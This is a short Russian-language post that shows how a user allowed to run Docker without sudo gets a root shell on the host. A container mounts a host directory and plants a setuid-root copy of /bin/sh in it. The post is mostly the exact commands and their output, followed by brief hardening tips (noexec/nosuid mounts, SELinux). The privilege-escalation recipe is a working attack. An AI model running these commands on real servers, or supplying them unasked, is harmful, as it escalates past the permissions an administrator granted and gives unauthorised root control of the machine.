Получаем рутовый шелл через докер

На самом деле это не дыра в безопасности. Т.е. это заложено в архитектуре.


И так. Например, ты разработчик, которому админ(чтобы ты отстал), разрешил на каком-то серваке пускать контейнеры docker. Т.е. ты можешь делать docker run/pull/push без sudo. Ок.


Пулим образ:

$ docker pull monsantoco/min-jessie

Using default tag: latest

latest: Pulling from monsantoco/min-jessie

a3ed95caeb02: Pull complete

d9f5175a7629: Pull complete

Digest: sha256:d8b651e894b8b66def8aaa268b5e8ec2c4f9480e3f2b7b2ec664203e610d6d96

Status: Downloaded newer image for monsantoco/min-jessie:latest

И пускаем:

$ mkdir /var/tmp/sh

$ docker run -d -v /var/tmp/sh:/stuff -t monsantoco/min-jessie /bin/sh -c 'cp /bin/sh /stuff && chown root:root /stuff/sh && chmod 777 /stuff/sh && chmod ao+s /stuff/sh && while true; do echo OK; sleep 5; done'

$ ls /var/tmp/sh/ -l

итого 124

-rwsrwsrwx 1 root root 125400 июн 7 11:02 sh

$ /var/tmp/sh/sh

# whoami

root

#

Вот так мы получили суидный шелл за пределами контейнера.


Как решить?

* Запереть юзера в хомяке с noexec,nosuid

* Все tmp каталоги монтировать в память и с noexec,nosuid

* Настроить selinux


ЗЫ:

$ docker --version

Docker version 1.10.3, build 20f81dd

$ lsb_release -a

No LSB modules are available.

Distributor ID: Ubuntu

Description: Ubuntu 16.04 LTS

Release: 16.04

Codename: xenial